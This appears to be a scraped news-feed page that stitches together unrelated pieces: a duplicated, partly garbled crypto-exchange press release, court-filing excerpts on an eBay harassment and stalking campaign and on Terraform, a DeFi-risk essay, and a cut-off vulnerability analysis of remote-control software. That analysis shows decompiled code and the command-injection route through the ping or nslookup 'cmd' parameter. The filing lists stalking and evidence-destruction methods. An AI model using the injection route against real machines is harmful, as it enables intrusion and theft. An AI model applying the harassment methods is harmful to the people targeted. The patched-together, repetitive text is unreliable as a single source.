Microsoft&#x27;s new roadmap shows how the Exchange Server will develop. In addition to new functions, the focus is primarily on the new Subscription Edition.

Exchange Server subscription coming: Microsoft shows licenses and new features | heise online

1exchange

SINGAPORE ,15th June 2024 – WEEX Exchange, a leading cryptocurrency trading platform, is thrilled to announce the launch of its zero-fee trading promotion and a series of innovative features designed to provide users with unparalleled trading opportunities. With a strong focus on user experience and cost efficiency, WEEX is set to transform the crypto trading landscape. Additionally, WEEX is pleased to sponsor and attend the Blockchain Futurist Conference, the largest Web3 event in Canada, held on August 13-14, 2024. As an Official Silver Sponsor, WEEX will collaborate with ETHToronto and ETHWomen, showcasing its commitment to the blockchain community. Zero-Fee Trading: Maximize Your Profits with WEEX In a groundbreaking move, WEEX exchange now offers 0% maker and 0% taker fees for spot trading, along with 0% maker and only 0.03% taker fees for futures trading. This adjustment, designed to benefit more users and enhance their trading experience, replaces the previous fees of 0% maker and 0% taker for spot trading, and 0.02% maker and 0.06% taker for futures trading. By lowering these fees, WEEX lowers the barriers to entry for traders, allowing them to explore various trading strategies without the usual cost concerns. This promotion underscores WEEX’s commitment to providing a user-friendly and cost-effective trading environment, reinforcing its dedication to creating a positive image and fostering a supportive community for all traders. How Zero Fees Benefits Traders Zero fees can significantly impact traders by increasing their overall profitability. For instance, it allows them to trade more frequently without worrying about the cumulative costs of each trade. This encourages more active trading, allowing users to take advantage of market movements more effectively. Additionally, new traders can enter the market without the fear of incurring costs on their initial trades, making it easier for them to learn and gain experience. For institutional and high-volume traders, the savings on fees can be substantial, directly impacting their bottom line and enabling them to reinvest those savings back into their trading strategies. Next Level Trading: Enhanced WEEX Futures Pro WEEX is proud to introduce the WEEX Futures Pro upgrade, a feature that consolidates hundreds of futures trading pairs into a single account. This innovation facilitates more efficient capital management, allowing traders to manage their funds seamlessly without needing frequent transfers between different pairs. WEEX Futures Pro also includes lowercase here mechanisms, enabling traders to manage risk and secure gains in volatile markets. Aside from zero fees for spot trading, various new pairs listed on WEEX Futures Pro also have zero trading fees at the moment: This provides traders the flexibility and tools they need to optimize their trading strategies and maximize their profits. Stay tuned and follow WEEX for the latest updates on fee promotions and new listings Unmatched Security and Global Compliance Security is a top priority for WEEX exchange. The platform employs a multi-layered protection system, cold storage for funds, and compliance with regulations from multiple authorities, including the US MSB and Canadian MSB. Additionally, WEEX has established a protection fund amounting to 1,000 BTC to safeguard user assets against unforeseen incidents. These extensive security measures ensure that trading on WEEX is not only safe but also aligned with global compliance and security benchmarks. Learn and Grow with WEEX: Copy Trading, Educational Resources and Community Engagement One of WEEX’s standout features is its one-click copy trading, allowing users to replicate the trades of professional traders. This feature is designed to lower the barriers to entry for futures trading, providing a simple and transparent experience that maximizes profits and delivers mutual benefits for both traders and their followers. Users can easily adjust their copy trading amounts or pause copying at any time, providing flexibility and control over their investments. WEEX is committed to building a knowledgeable trading community. The WEEX Medium provides valuable insights, market updates, and educational content to help traders make informed decisions. These resources offer essential tools for improving trading skills and staying updated with market trends. Trade Anytime, Anywhere with WEEX Mobile Understanding the need for accessibility, WEEX has developed a highly optimized mobile app available on iOS and Android. The app offers all the trading functionalities of the desktop version, ensuring that users can trade, deposit, withdraw, and copy trade on the go. This mobile-friendly approach makes it easier for traders to stay connected and manage their portfolios from anywhere. With its app available in over 140 countries, WEEX has established a strong global presence. The platform’s strategic partnerships, like the integration of Alchemy Pay for fiat-to-crypto transactions, further enhance its accessibility. WEEX is continuously expanding its regulatory compliance, applying for licenses in various countries to ensure a secure and legally compliant trading environment. About WEEX WEEX has emerged as a pioneering cryptocurrency exchange, established in 2018, renowned for its steadfast commitment to security and its intuitive trading platform. Holding licenses from both US and Canadian MSBs, WEEX operates under stringent regulatory oversight, providing traders with a diverse selection of coins and trading pairs. Noteworthy offerings include 116 spot trading pairs and 225 futures trading pairs, with over 5 new pairs introduced daily. As a security-oriented and user-first cryptocurrency futures trading platform, WEEX is dedicated to enriching the trading experience, offering a comprehensive suite of services tailored to traders of all levels. These services encompass low-fee futures trading, zero-fee spot trading, and the option to leverage up to 200X on derivatives. WEEX's unwavering focus on user security and its reputation as a versatile platform for traders worldwide in the dynamic cryptocurrency landscape cement its status as a premier exchange. Sign up for a WEEX account now: https://www.weex.com/register Visit the WEEX Official Website: https://www.weex.com/ Media Email: market@weexglobal.com WEEX Customer Support: support@weex.com Trading Quant & MM: market@weexglobal.com This story was distributed as a release by Btcwire under HackerNoon’s Business Blogging Program. Learn more about the program here. SINGAPORE ,15th June 2024 – WEEX Exchange, a leading cryptocurrency trading platform, is thrilled to announce the launch of its zero-fee trading promotion and a series of innovative features designed to provide users with unparalleled trading opportunities. With a strong focus on user experience and cost efficiency, WEEX is set to transform the crypto trading landscape. SINGAPORE ,15th June 2024 – Additionally, WEEX is pleased to sponsor and attend the Blockchain Futurist Conference , the largest Web3 event in Canada, held on August 13-14, 2024. As an Official Silver Sponsor, WEEX will collaborate with ETHToronto and ETHWomen, showcasing its commitment to the blockchain community. Blockchain Futurist Conference Blockchain Futurist Conference Zero-Fee Trading: Maximize Your Profits with WEEX In a groundbreaking move, WEEX exchange now offers 0% maker and 0% taker fees for spot trading, along with 0% maker and only 0.03% taker fees for futures trading. This adjustment, designed to benefit more users and enhance their trading experience, replaces the previous fees of 0% maker and 0% taker for spot trading, and 0.02% maker and 0.06% taker for futures trading. WEEX exchange WEEX exchange By lowering these fees, WEEX lowers the barriers to entry for traders, allowing them to explore various trading strategies without the usual cost concerns. This promotion underscores WEEX’s commitment to providing a user-friendly and cost-effective trading environment, reinforcing its dedication to creating a positive image and fostering a supportive community for all traders. How Zero Fees Benefits Traders Zero fees can significantly impact traders by increasing their overall profitability. For instance, it allows them to trade more frequently without worrying about the cumulative costs of each trade. This encourages more active trading, allowing users to take advantage of market movements more effectively. Additionally, new traders can enter the market without the fear of incurring costs on their initial trades, making it easier for them to learn and gain experience. For institutional and high-volume traders, the savings on fees can be substantial, directly impacting their bottom line and enabling them to reinvest those savings back into their trading strategies. Next Level Trading: Enhanced WEEX Futures Pro WEEX is proud to introduce the WEEX Futures Pro upgrade, a feature that consolidates hundreds of futures trading pairs into a single account. This innovation facilitates more efficient capital management, allowing traders to manage their funds seamlessly without needing frequent transfers between different pairs. WEEX Futures Pro WEEX Futures Pro WEEX Futures Pro also includes lowercase here mechanisms, enabling traders to manage risk and secure gains in volatile markets. Aside from zero fees for spot trading, various new pairs listed on WEEX Futures Pro also have zero trading fees at the moment: This provides traders the flexibility and tools they need to optimize their trading strategies and maximize their profits. Stay tuned and follow WEEX for the latest updates on fee promotions and new listings WEEX WEEX Unmatched Security and Global Compliance Security is a top priority for WEEX exchange. The platform employs a multi-layered protection system, cold storage for funds, and compliance with regulations from multiple authorities, including the US MSB and Canadian MSB. Additionally, WEEX has established a protection fund amounting to 1,000 BTC to safeguard user assets against unforeseen incidents. These extensive security measures ensure that trading on WEEX is not only safe but also aligned with global compliance and security benchmarks. Learn and Grow with WEEX: Copy Trading, Educational Resources and Community Engagement One of WEEX’s standout features is its one-click copy trading, allowing users to replicate the trades of professional traders. This feature is designed to lower the barriers to entry for futures trading, providing a simple and transparent experience that maximizes profits and delivers mutual benefits for both traders and their followers. Users can easily adjust their copy trading amounts or pause copying at any time, providing flexibility and control over their investments. WEEX is committed to building a knowledgeable trading community. The WEEX Medium provides valuable insights, market updates, and educational content to help traders make informed decisions. These resources offer essential tools for improving trading skills and staying updated with market trends. WEEX Medium WEEX Medium Trade Anytime, Anywhere with WEEX Mobile Understanding the need for accessibility, WEEX has developed a highly optimized mobile app available on iOS and Android. The app offers all the trading functionalities of the desktop version, ensuring that users can trade, deposit, withdraw, and copy trade on the go. This mobile-friendly approach makes it easier for traders to stay connected and manage their portfolios from anywhere. With its app available in over 140 countries, WEEX has established a strong global presence. The platform’s strategic partnerships, like the integration of Alchemy Pay for fiat-to-crypto transactions, further enhance its accessibility. WEEX is continuously expanding its regulatory compliance, applying for licenses in various countries to ensure a secure and legally compliant trading environment. About WEEX WEEX has emerged as a pioneering cryptocurrency exchange, established in 2018, renowned for its steadfast commitment to security and its intuitive trading platform. Holding licenses from both US and Canadian MSBs, WEEX operates under stringent regulatory oversight, providing traders with a diverse selection of coins and trading pairs. Noteworthy offerings include 116 spot trading pairs and 225 futures trading pairs, with over 5 new pairs introduced daily. As a security-oriented and user-first cryptocurrency futures trading platform, WEEX is dedicated to enriching the trading experience, offering a comprehensive suite of services tailored to traders of all levels. These services encompass low-fee futures trading, zero-fee spot trading, and the option to leverage up to 200X on derivatives. WEEX's unwavering focus on user security and its reputation as a versatile platform for traders worldwide in the dynamic cryptocurrency landscape cement its status as a premier exchange. Sign up for a WEEX account now: https://www.weex.com/register https://www.weex.com/register https://www.weex.com/register Visit the WEEX Official Website: https://www.weex.com/ https://www.weex.com/ https://www.weex.com/ Media Email: market@weexglobal.com market@weexglobal.com market@weexglobal.com WEEX Customer Support: support@weex.com support@weex.com support@weex.com Trading Quant & MM: market@weexglobal.com market@weexglobal.com market@weexglobal.com This story was distributed as a release by Btcwire under HackerNoon’s Business Blogging Program. Learn more about the program here. This story was distributed as a release by Btcwire under HackerNoon’s Business Blogging Program. Learn more about the program here . here

WEEX Exchange Introduces  Zero-Fee Trading

USA v. eBay Court Filing, retrieved on January 11, 2024, is part of . You can jump to any part in this filing . This is part 6 of 12. HackerNoon’s Legal PDF Series here The Harassment and Intimidation Campaign 28. On or about August 1, 2019, the New York Times reported that eBay had accused Amazon in a lawsuit of unlawfully poaching eBay sellers to Amazon's online marketplace. 29. That day, at approximately 1 :46 p.m. (EDT), Ina Steiner posted an article on EcommerceBytes under the headline, "eBay RJCO Lawsuit Meant to Curb Seller Exodus to Amazon?" She wrote: "[Executive] 1 has been unable to stop a decline in market sales, but trying to dissuade sellers from turning to Amazon (and trying to get Amazon to stop recruiting sellers) may not be the best tactic." 30. At approximately 2: 19 p.m. (EDT), Executive 1 texted Executive 2: "Ina is out with a hot piece on the litigation. If we are ever going to take her down ..now is the time." 31. Executive 2 responded at approximately 2:36 p.m. (EDT): "On it." 32. As set forth below, a series of text messages followed between Executive 2 and Baugh, beginning with Executive 2's passing along of Executive l's suggestion that "we ... take her down": 33. Executive 2 and Baugh's August 1, 2019 conversation continued by text, with Baugh committing to put in motion a "plan B" and Executive 2 committing to "embrace managing any bad fall out." 34. Baugh continued, stating falsely that Fidomaster-whom he refe1nd to as the "unsuck idiot"-was David Steiner "or [an]other close associate" off Ina Steiner's: 35. Baugh concluded the August 1 exchange with Executive 2 as follows: 36. On or about August 6, 2019, an eBay seller contacted Executive 1 to complain about @unsuckebay, one of the Twitter accounts controlled by Fidomaster. The seller's complaint led Executive 2, Executive 1, Baugh, and eBay's general counsel to communicate about eBay's unsuccessful effo1ts to have the Twitter account shut down. 37. Executive 2's email concluded: "I am utterly vexed by this! This twitter account [Fidomaster] dominates our social narrative with his CONSTANT obsession with trolling us. It's more than annoying, it's very damaging." 38. The email noted that Fidomaster and "the eCom[m]ercebytes gal"-a reference to Ina Steiner- were "infatuated with eBay" and "have seemingly dedicated their Jives to erroneously trashing us as a way to build their own brand-or even build a business." It continued, "This issue gives me ulcers, harms employee moral, and trickles into everything about our brand.  I genuinely believe these people are acting out of malice and ANYTHING we can do to solve it should be explored. Somewhere, at some point, someone chose to let this slide. It has grown to a point that is absolutely unacceptable. It's the 'blind eye toward graffiti that turns into mayhem' syndrome and I'm sick about it. Whatever. It. Takes." 39. On or about August 7, 2019, at 4:59 p.m. (PDT), Baugh asked Executive 2 by message, "lf l can neutralize Ina's website in two weeks or less, does that work for you?" Within minutes, Executive 2 responded: "I want to see ashes. As long as it takes. Whatever it takes." 40. After receiving Executive 2's text messages and emails about the Steiners, EcommerceBytes, and Fidomaster, Baugh shared them with, among others, Harville, Gilbert, Cooke, Popp, Stockwell, and Zea. 41. Beginning on or about August 5, 2019 and continuing through at least September 6, 2019, Baugh, Harville, Gilbert, Cooke, Popp, Stockwell, and Zea (together "the Individual Defendants") worked together to harass and intimidate the Steiners, and to place them under surveillance with.the intent to harass and intimidate them, through repeated and hostile Twitter messages, deliveries of unwanted-and in some instances disturbing-items to the Steiners' home, and travel to Massachusetts to conduct physical surveillance. The Individual Defendants' conduct caused, attempted to cause, and would reasonably have been expected to cause substantial emotional distress to the Steiners. 42. The purposes of the harassment campaign were, among other things, to distract the Steiners from publishing EcommerceBytes, to alter the website's coverage of eBay, and to gather information that the Individual Defendants could use to discredit the Steiners and EcomrnerceBytes. 43. The Individual Defendants took steps to conceal their harassment campaign from eBay investigators and state and federal authorities, by, among other things, using non-eBay electronic communications platforms, billing expenses related to the campaign to an outside contractor, monitoring law enforcement communications, forging records, lying to investigators, and destroying evidence. 44. Among the manner and means by which Individual Defendants carried out the harassment campaign were the following: a. Creating Twitter accounts in false names that featured ominous profile photos. b. Using these Twitter accounts to send threatening private direct messages ("DMs") to Ina Steiner about her, David Steiner, and EcommerceBytes. c. Publicly posting the Steiners' home address on Twitter, while suggesting in threatening messages that eBay sellers who were angry about EcommcerceBytes' coverage were going to visit the Steiners' home. d. Ordering unwanted and scary items and services to the Steiners' home, and ordering items intended to embarrass the Steiners to their neighbors' addresses. e. Posting online advertisements for fictitious events at the Steiners' home, including sexual encounters, to encourage strangers to visit them there. f. Traveling to Natick to install a GPS device on the Steiners' car, and to surveil the Steiners in their home and in their community. g. Monitoring law enforcement communications to avoid detection. h. Establishing false cover stories for the surveillance trip, including that the coconspirators were investigating the Steiners for threatening Executive 1. i. Continuing surveillance, even after the Steiners had detected it, with the purpose of intimidating them. J. Disguising their roles in the conspiracy by harassing and intimidating the Steiners using prepaid cell phones and laptops, VPN services, overseas email accounts, and prepaid debit cards purchased with cash. k. Offering the Steiners assistance with the very harassment they were committing, to earn the Steiners' good will ("the White Knight Strategy"). I. Making false and misleading statements to NPD personnel who were investigating the threatening communications, harassing deliveries, and surveillance of the Steiners. m. Communicating by WhatsApp regarding how to harass the Steiners and how to respond to the NPD investigation. n. Creating a "dossier" of their own threats to the Steiners, which they planned to show to the NPD as proof that Zea and Harville were in Massachusetts investigating the harassment of the Steiners (purportedly by third parties). o. Exchanging ideas about how best to thwart the NPD investigation, including creating false suspects, continuing the harassing deliveries, fabricating cover stories, and intervening with any San Jose area police that the NPD contacted to further its investigation. p. Lying to eBay investigators who were responding to NPD requests for eBay's assistance. q. Exchanging ideas about how best to thwart eBay's internal investigation. r. Deleting the contents of computers, cell phones, and social media accounts that evidenced the harassment and intimidation campaign and the defendants' and their coconspirators' efforts to obstruct the NPD investigation. Continue Reading . Here About HackerNoon Legal PDF Series: We bring you the most important technical and insightful public domain court case filings. This court case retrieved on January 11, 2024, from is part of the public domain. The court-created documents are works of the federal government, and under copyright law, are automatically placed in the public domain and may be shared without legal restriction. ecommercebytes.com

Conspiracy at eBay: The Disturbing Saga of Harassment, Stalking, and Cover-ups

ইবে-এ ষড়যন্ত্র: হয়রানি, স্টাকিং এবং কভার-আপের বিরক্তিকর কাহিনী

Verschwörung bei eBay: Die verstörende Saga von Belästigung, Stalking und Vertuschungen

Conspiración en eBay: la inquietante saga de acoso, acecho y encubrimiento

Conspiration sur eBay : la saga inquiétante du harcèlement, du harcèlement et des dissimulations

ईबे पर षडयंत्र: उत्पीड़न, पीछा करने और छुपाने की परेशान करने वाली गाथा

eBay の陰謀: 嫌がらせ、ストーキング、隠蔽という不穏な物語

eBay의 음모: 괴롭힘, 스토킹, 은폐라는 충격적인 이야기

Conspiração no eBay: a perturbadora saga de assédio, perseguição e encobrimento

Заговор на eBay: тревожная сага о преследованиях, преследованиях и сокрытиях

eBay'de Komplo: Rahatsız Edici Taciz, Takip ve Örtbas Destanı

Âm mưu tại eBay: Câu chuyện đáng lo ngại về quấy rối, theo dõi và che đậy

eBay 的阴谋：骚扰、跟踪和掩盖的令人不安的传奇故事

EC v. Terraform Court Filing, retrieved on February 16, 2023, is part of . You can jump to any part in this filing . This is part 21 of 38. HackerNoon’s Legal PDF Series here C. UST 4. UST is a Security because it could be Exchanged for LUNA 84. UST is also a security because it gave investors a "right to subscribe or purchase" another security[4]—namely, it could be exchanged for LUNA, another security as detailed above. Given that UST investors had the right to convert UST to one dollar's worth of LUNA via the Terraform blockchain, investors who bought UST had the right to subscribe to or purchase a security (i.e. LUNA). [4] Securities Act Section 2(a)(1); Exchange Act Section 3(a)(10) Continue Reading . Here About HackerNoon Legal PDF Series: We bring you the most important technical and insightful public domain court case filings. This court case 1:23-cv-01346 retrieved on September 12, 2023, from is part of the public domain. The court-created documents are works of the federal government, and under copyright law, are automatically placed in the public domain and may be shared without legal restriction. sec.gov

The SEC Is Arguing That UST Is a Security: Details of Their Claim

Built on open-source software, in a transparent degen-ridden environment where activity is irreversible and without legal recourse, Defi is a honeypot of massive value that is laden with risk. Existing at the intersection of finance and technology, DEFI has been heralded as the frontier of innovation and the solution to the woes of the traditional financial system. Over the last few years, a tsunami of protocols and applications have come to market, harping on this promise, all claiming to provide some kind of unique value proposition that will enrich the lives of its user and protect them from the evils of legacy finance… Assuming that these projects did have good intentions the moat of informational asymmetry due to the complexities of the technology itself creates an enormous spread between truth, security, and reality. Moreover, DEFI inherits the underlying primitive of sovereignty from crypto, where the responsibility of asset ownership and management is entirely in the hands of the users, a level of responsibility that consumers have never been faced with before. (which most of them don’t) While this noble, utopian mission has attracted the attention of people from around the world and drawn in hundreds of billions of dollars in TVL, it has not been able to express the full scope of potential implications during its development. Even though all of the experimentation that has been taking place has flooded networks with more value, the level of security in the industry has not changed at all. (arguably, with Ethereum moving to POS it might have even degraded). Therefore the only genuine way to protect yourself and your assets from the whirlwind of fuckery that is monitoring your wallets and trying to steal your money is by equipping yourself with knowledge. Sure, it may not sound sexy. But if you can understand the fundamental touchpoints that can cause financial ruin, you will be far more emotionally prepared and most likely much wealthier. So without further ado, let's put into focus how genuinely broad and varied the surface area of risk in DEFI really is. MEV (Maximum Extractable Value) Ah, the good ole . art of on-chain extortion MEV is a contentious topic in the world of crypto. Perhaps nowhere more so than in the DEFI sector. Simply put, MEV is a botnet that is looking to front-run your transaction and squeeze out any potential excess value, that should trickle back to you. Imagine paying for a $17 shirt with a $20 bill and the clerk at the register told you there is no change because of the physical entropy he has to exert in order to manually organize the bills… In DEFI, every single function from lending to trading is subject to MEV. These pretentious bots can reorganize/sandwich/delay your transactions, prioritize their own, and force you to miss opportunities. The best way to engage in on-chain finance is minimally; try to reduce the amount of interactions that must be done. Oracle Manipulation Given that DEFI protocols depend exist in blockchain environments that are not aware of information that exists outside of themselves, they need a method by which to get their data from somewhere. This is done through oracles. Oracles are the connective tissues between on-chain and off-chain data. They are pipelines that funnel information from the real world into the digital economy. Whenever you go to an exchange like Uniswap and see the price of Ethereum, what is happening behind the scenes is that Uniswap is asking an Oracle network (chainlink) to quote you a price from trusted sources. That Oracle then scans/queries other venues that provide the requested data point (Binance, KuCoin, 1inch, etc) and provides a spot price to trade at. In this process of receiving a request, going to find the request, and fulfilling the request, subversion exits in two general ways: 1) Origin of Data is corrupted. The sources from which oracles get information collude to produce fake information or their servers are hacked and the data is spoofed. Chainlink might trust Binance for ETH price, but what happens if the information on Binance does something egregious (wicks the price 10x)? 2) Oracles themselves are corrupted. Given how valuable the information that oracles provide is, it is not outside the realm of consideration that the oracles could be provoked through incentives by external forces to provide incorrect information. Smart Contract Bugs The most fundamental form of risk exists in DEFI. Smart contracts may be mathematically sound, but when their hard-coded structures are met by extremely savvy hackers that can identify logical loopholes and find exploits to drain protocol liquidity, cause mass token minting, or manipulate protocol functions, it is the end user that ends up paying the ultimate price. Besides being subverted by malicious entities, poorly coded contracts might just result in internal systemic failures. A function that is accidentally defined incorrectly can result in an error that locks liquidity permanently or a single line of code that does not map the relationship between token owners and their rights to send the token can freeze assets in wallets with no ability to ever move them. Logic that might hold up in a closed alpha on a testnet somewhere will not be the same as the logic in a public mainnet. The ultimate combination of the two smart contract failures can be seen with the painful example of Terra/Luna (r.i.p. billions of dollars). Price Volatility You might have heard this one before, crypto assets are volatile.. very volatile. Where traditional financial instruments, such as stocks, might swing +/- 3% in a day, it is totally normal for a crypto asset to swing upwards of +/- 15% in that same day. When it comes to DEFI, we're not talking about the price risk you have regarding just holding an asset, we are talking about how the price movement can impact the more exotic forms of portfolio exposure. There are two general classes of this exposure: (impermanent loss) 1) providing liquidity When tokens are provided to an AMM and the price deviates from the exact rate at the moment of deposit, impermanent loss takes place. If ETH is at $2,000 and somebody provides liquidity to an ETH/USDC pool they would supply an equal amount of 1ETH+$2,000 USDC. Doing so would obviously incur basic transaction costs, already putting them in the hole, but then if the price of ETH rises to $2,200 then the user will only be entitled to claim 1.1 ETH + $1,800 USDT. Considering there would be another basic transactional cost incurred the user would have to be exposed to an unknown duration of providing liquidity to cover those base costs from the generated yield. Moreover, the user would have to now go through more intermediaries in order to balance out their position proportionally (selling the 0.1eth for USDT). The reason this is called impermanent loss is whenever price fluctuations exceed the returns that could have been had by simply holding the asset. Think about it, the person who provided liquidity provided $4,000 worth (1ETH @ $2,000 + $2,000). When they withdrew, they got $4,000 worth (minus fees). If instead of providing the liquidity they had just held the same assets they would have $4,200 (1ETH @ $2,200 + $2,000). (liquidations) 2) lending/borrowing Image ETH is trading at $2,000. Say you want to borrow $2,000 USDT. In order to do this, you must provide excess collateral in ETH to take the loan. So you lock up 2 ETH ($4,000) and take out the loan. Next week, ETH plummets to $1,000. Now the collateral you posted is worth $2,000; a level that is algorithmically considered risky (if you only have $2,000 worth of collateral for a $2,000 loan, you are not incentivized to pay it back). To protect the lender, your assets get market sold (likely at $1,100ea) and you're stuck with $1,000 instead of your original 2 ETH. Underlying Blockchain Mishaps Even if a protocol is designed properly and everything seems to be working fine, there is a not-so-subtle dependency of that protocol on the network to which it is deployed. Validators behaving out of line, consensus mechanisms proving to be inadequate, and sudden outages, among other things can trickle up the stack and result in damaging effects to the DEFI users. Governance Issues As a decentralized entity, a DEFI project must have some form of governance in place to steer the project’s development and oversee its operational specifications. In the event of a sudden revolt from the governing committee that results in some radical parameter adjustment holds the DEFI user in a perpetual limbo of uncertainty. While most of the time the governing body will be aligned with a vision of progression, that vision is highly subjective to interpretation. Not to mention that flash loan attacks have taken place where proposals are forcefully pushed by entities that acquire large enough token amounts on the open markets just to vote on their own proposals. Social Engineering Wicked, evil, and disgusting. There are no heroes in this industry. Everybody is fighting for themselves. The insane majority of projects simply do not give a sh*t about you. Scammers will create the most elaborate systems to subvert your conscious mind. They will pretend to be representatives from a project or exchange you are involved with. They will call you, text you, email you and do anything else possible to trick you into doing some kind of action. The most common forms of social engineering are: 1. Pretending to offer you free tokens. 2. Pretending they are official reps from other projects. 3. Asking you for help through a DM and offering a reward. 4. Telling you they can help you make money. 5. Sending you a link to click… . (this is financial suicide) If anybody contacts you about anything remotely related to the above. IGNORE them. If you feel worried about anything, opt to go directly through the official interfaces (website/app) that you use and reach out to the projects. Official moderators/admins will not initiate contact with you directly without your prompting. Misrepresentation (Rugpulls) Still in its infancy, this sector lacks any standard framework of definitions. So many idiotic projects throw around buzzwords in an attempt to sound convincing and tempt unknowing users. One of the most painful to watch is when a Memecoin starts offering people a DEFI ecosystem for NFT financialization that can help solve the interoperability problem between blockchains. If the last message made sense to you, beware, you will be taken advantage of. If you caught on the stupidity of it, kudos you are protected. The misrepresentation of intentions is called a Rug Pull. As the name might hint out, people put money into a project and then the rug gets pulled right out from under them. Shadowy super coders create fake contracts to collect money and then at some point just “poof” and disappear with the funds. As a general rule of thumb, if a project’s slogan/mission statement is chock full of buzzwords, stay TF away. There are many more complex security vectors that arise whenever interchain operations are introduced and advanced multi-lingual social engineering tactics are considered. All that matters at the end of the day for your safety is the understanding that risk does not get removed with blockchain architecture, it is merely transformed into a new type of risk. DEFI’s siren call is the displacement of human infrastructure with automated smart contract infrastructure. Trading off human error with mathematical logic. Even though intuition might guide us into believing that mathematics is more reliable than humans, the truth of the matter is that humans have room to correct errors, mathematics does not know the difference. Therefore, the risk profile of this transition of trust is nearly impossible to quantify. Just don't forget that there is no such thing as a safe investment in crypto. May your journey through decentralized finance be fruitful and may your bags always be protected. Stay safe out there! Also published . here

The 8 Dangers of DEFI That Nobody Talks About

Recently, several web3 cryptocurrency holders have reported losing their digital assets while using remote control software. The wallet address associated with the hacker is 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf. Last year, there was an incident involving a remote control software that experienced a service explosion due to a leakage of its client identification information (CID) and command injection vulnerability (CNVD-2022–10270/CNVD-2022–03672). Whenever the software is launched, it automatically opens a random port number greater than 40000 as an HTTP service. In the event that the parameter cmd value starts with ping or nslookup in the /check route, any command can be executed. This allowed the attacker to send a C2 agent, enabling them to monitor the victim’s system over a long period of time. Affected Versions Personal Edition for Windows <= 11.0.0.33162 Simple Edition <= V1.0.1.43315 Analysis Let’s take a look at login.cgi v5 = (__int64 (__fastcall *)())operator new(0x50ui64); 
  v55 = v5; 
  v54 = 15i64; 
  v53 = 0i64; 
  v51[0] = 0; 
  sub_1400F0690(v51, "login.cgi", 9ui64); 
  v6 = sub_140E2D6BC(v5, v51); 
  v57 = &off_1410D3B20; 
  v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; 
  v59 = v52; 
  v60 = a1; 
  v61 = &v57; 
  v66 = (_QWORD *)v6; 
  if ( v6 ) 
  { 
    v7 = v6 + 8 + *(int *)(*(_QWORD *)(v6 + 8) + 4i64); 
    (*(void (__fastcall **)(__int64))(*(_QWORD *)v7 + 8i64))(v7); 
  } 
  sub_140E2D85C(a1 + 55, &v66, &v57); 
  LOBYTE(v8) = 1; 
  sub_1400EEDC0(v51, v8, 0i64); 
  v56 = &v57; 
  v9 = (__int64 (__fastcall *)())operator new(0x50ui64); 
  v55 = v9; 
  v54 = 15i64; 
  v53 = 0i64; 
  v51[0] = 0; 
  sub_1400F0690(v51, (void *)"cgi-bin/login.cgi", 0x11ui64); 
  v10 = sub_140E2D6BC(v9, v51); 
  v57 = &off_1410D3B20; 
  v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; 
  v59 = v52; 
  v60 = a1; 
  v61 = &v57; 
  v66 = (_QWORD *)v10; 
  if ( v10 ) 
  { 
    v11 = v10 + 8 + *(int *)(*(_QWORD *)(v10 + 8) + 4i64); 
    (*(void (__fastcall **)(__int64))(*(_QWORD *)v11 + 8i64))(v11); 
  } 
  sub_140E2D85C(a1 + 55, &v66, &v57); 
  LOBYTE(v12) = 1; 
  sub_1400EEDC0(v51, v12, 0i64); 
  v56 = &v57; 
  v13 = (__int64 (__fastcall *)())operator new(0x50ui64); 
  v55 = v13; 
  v54 = 15i64; 
  v53 = 0i64; 
  v51[0] = 0; 
  sub_1400F0690(v51, (void *)"cgi-bin/rpc", 0xBui64); 
  v14 = sub_140E2D6BC(v13, v51); 
  v57 = &off_1410D3B20; 
  v58 = sub_140E1C954; 
  v59 = v52; 
  v60 = a1; 
  v61 = &v57; 
  v66 = (_QWORD *)v14; 
  if ( v14 ) 
  { 
    v15 = v14 + 8 + *(int *)(*(_QWORD *)(v14 + 8) + 4i64); 
    (*(void (__fastcall **)(__int64))(*(_QWORD *)v15 + 8i64))(v15); 
  } Navigate to cgi-bin/rpc Get the following route v63 = (*(__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(a1 + 8) + 104i64))(*(_QWORD *)(a1 + 8)); 
    sub_140320D80( 
      (int)&qword_1414049C0, 
      1, 
      (int)"..\\includes\\libsunloginclient\\client\\HttpDecideClientType.cpp", 
      (int)"CHttpDecideTcpClientType::DecideClient", 
      205, 
      "[Acceptor][HTTP] new RC HTTP connection %s,%s, plugin:%s, session:%s", 
      v63); 
    if ( (unsigned int)sub_140101DB0(v116, "login") 
      && strcmp(v61, "express_login") 
      && strcmp(v61, "cgi-bin/login.cgi") 
      && strcmp(v61, "log") 
      && strcmp(v61, "cgi-bin/rpc") 
      && strcmp(v61, "transfer") 
      && strcmp(v61, "cloudconfig") 
      && strcmp(v61, "getfastcode") 
      && strcmp(v61, "assist") 
      && strcmp(v61, "cloudconfig") 
      && strcmp(v61, "projection") 
      && strcmp(v61, "getaddress") 
      && strcmp(v61, "sunlogin-tools") ) 
      ... 
              sub_1400F05E0(v116); 
        goto LABEL_168; 
      } 
    } 
    if ( !(unsigned int)sub_140101DB0(v116, "login") 
      || !(unsigned int)sub_140101DB0(v116, "control") 
      || !strcmp(v61, "express_login") 
      || !strcmp(v61, "cgi-bin/login.cgi") 
      || !strcmp(v61, "cgi-bin/rpc") 
      || !strcmp(v61, "desktop.list") 
      || !strcmp(v61, "cloudconfig") 
      || !strcmp(v61, "check") 
      || !strcmp(v61, "transfer") 
      || !strcmp(v61, "getfastcode") 
      || !strcmp(v61, "assist") 
      || !strcmp(v61, "micro-live/enable") 
      || !strcmp(v61, "projection") 
      || !strcmp(v61, "getaddress") ) 
    { 
      v103 = *(_QWORD *)(a1 + 8); As per the vulnerability information disclosed online, by obtaining the first authentication CID from the cgi-bin/rpc route, it is possible to distinguish the function by examining the action parameter. When the action parameter is set to verify-haras, the function returns a verify_string. if ( !(unsigned int)sub_140101DB0(v131, "verify-haras") ) 
  { 
    sub_1400F0690(Src, "{\"__code\":0,\"enabled\":\"1\",\"verify_string\":\"", 0x2Bui64); 
    LOBYTE(v22) = 1; 
    v23 = (*(__int64 (__fastcall **)(_QWORD, char *, __int64))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 144i64))( 
            *(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64), 
            v125, 
            v22); 
    sub_1400EEE40(Src, v23, 0i64, -1i64); 
    sub_1400F05E0(v125); 
    sub_1400EEC60(Src, "\",\"code\":0} ", 0xCui64); 
    v73 = 1; 
    CxxThrowException(&v73, (_ThrowInfo *)&stru_1412F7B30); 
